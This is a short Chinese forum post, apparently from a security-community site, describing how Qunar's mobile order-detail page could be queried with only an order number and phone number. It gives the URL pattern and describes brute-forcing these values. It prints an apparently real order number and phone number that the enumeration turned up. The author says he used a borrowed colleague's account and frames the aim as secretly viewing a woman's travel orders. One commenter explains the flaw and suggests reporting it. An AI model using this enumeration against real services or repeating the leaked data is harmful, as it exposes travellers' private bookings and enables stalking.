去哪儿订单任意查询（需要字典强大）

3‘server

去哪儿今天去哪儿，去哪儿不如来（小熊旅游）
http://touch.qunar.com/
手机登陆端
于是就借了同事去哪儿账号登陆
查看订单

1

/flightOrderDetail.jsp?orderNo=xxxxxxxx&mobile=1860xxxxxx&sn=9FC5A13F13384B98EBE251472B1F8411&r=1&bd_source=3w_flight_sms&bd_from_id=wise&bd_ref_id=light_null&bd_channel_id=light_null&bd_sub_page=h5_mobile&bd_source_light=2264015



orderno=订单号
moble=就是手机好了
其他参数都是 null=空
意思就是说只要有了这两件东西 岂不就是随变查看女神在去哪儿的秘密呢吗
抓包爆破
扫了半天就出来一个
lxh130430100540515     18611932216
原文来自：安全周刊http://i.szxxly.cn

3‘server

图片地址

自由冥王

看好你哦

Te5tB99

握草，

热心网友2

这个发现挺有意思的，直接通过订单号和手机号就能查订单，参数里其他字段都是null，说明后端对参数校验不够严格。不过漏洞利用也依赖订单号和手机号的准确组合，所以你说“需要字典强大”，确实得靠暴力枚举或者社工拿到有效组合才行。扫到一个示例说明至少存在暴露风险，建议尽快向去哪儿官方反馈，避免用户订单信息泄露。